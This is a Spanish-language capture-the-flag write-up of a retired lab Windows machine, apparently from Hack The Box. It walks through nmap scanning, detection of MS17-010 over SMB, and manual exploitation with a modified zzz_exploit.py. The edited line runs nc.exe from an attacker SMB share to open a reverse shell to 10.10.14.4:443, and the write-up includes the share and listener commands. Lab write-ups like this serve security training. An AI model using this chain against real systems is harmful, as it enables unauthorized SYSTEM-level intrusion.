Fecha de lanzamiento | 15 Mar 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.4 |
Información de la máquina
RECONOCIMIENTO
Mediante el escaneo con la herramienta nmap podemos observar que existen dos puertos abiertos en la maquina: 139 y 445.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.4 -oG allPorts nmap -sCV -p139,445 10.10.10.4 -oN targeted
Si observamos el resultado de los scripts de nmap
, nos reporta que se trata de una versión de Windows obsoleta. Lo confirmamos también con la herramienta nxc
.
nxc smb 10.10.10.4
Al ser una versión tan antigua y tener expuesto el servicio SMB, lo mas seguro es que sea vulnerable a exploits SMB reconocidos. Para asegurarnos, vamos a correr scripts específicos de nmap
con la categoría «Vuln and Safe».
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbscripts
Como temíamos, vulnerable a MS17-010.
EXPLOTACIÓN
Para esta vulnerabilidad, existe un exploit automatizado para la herramienta Metasploit
, pero vamos a intentar hacerlo de forma manual para desgranar la fase de explotación lo máximo posible.
Para ello vamos a hacer uso de un repositorio antiguo de Github, el cual nos vamos a clonar. Es importante recalcar que al ser antiguo, es un exploit programado en Python2
, por lo que es necesario tenerlo en nuestro equipo instalado. Hay numerosas maneras de obtener Python2
, como entornos dockerizados, entornos virtuales, y mas recursos existentes en Internet. En mi caso he realizado una descarga e instalación normal desde la web oficial de Python.
Una vez nos hemos clonado el repositorio, vamos a correr el archivo checker.py
, que nos va a dar información acerca de si es vulnerable el equipo y de los named pipes.
De todos los scripts disponibles del repositorio, vamos a quedarnos con el que se llama zzz_exploit.py
. Nos lo vamos a abrir y vamos a modificar una serie de lineas.
Vamos a filtrar por la función smb_pwm
, y vamos a comentar todas las lineas en relación a la creación de un archivo .txt
, y por ultimo vamos a descomentar y modificar la linea service_exec
. Escribiremos lo siguiente, y a continuación explicare que significan estos comandos.
service_exec(conn, r'cmd /c //10.10.14.4/smb/nc.exe -e cmd 10.10.14.4 443')
Básicamente le estamos pidiendo que acceda a un directorio compartido de nuestro equipo y que ejecute un binario llamado nc.exe
con una serie de argumentos para entablarnos una conexión reversa con nuestro equipo.
Antes de correr el script, evidentemente tenemos que ubicar el ejecutable de NetCat
, ofrecerlo como recurso a la maquina victima y a la vez ponernos en escucha por el puerto que hemos indicado (443).
Vamos a dividir la pantalla en tres terminales.
En la primera, localizamos el archivo de NetCat
, nos lo copiamos a nuestro directorio actual y lo compartimos mediante el script smbserver.py
. Tanto NetCat
como el script, forman parte del repositorio de SecLists
. Podéis clonarlo para tener la ultima versión.
smbserver.py smb $(pwd) -smb2support
En la segunda, mediante el uso de la herramienta rlwrap
y NetCat
, nos ponemos en escucha por el puerto 443.
rlwrap nc -lvnp 443
Por ultimo, en la tercera, vamos a correr el script (acordaros de que hay que usar Python2).
python2 zzz_exploit.py 10.10.10.4
Obtenemos acceso como SYSTEM al sistema, y ya podemos ver las dos flags para reportarlas en la plataforma.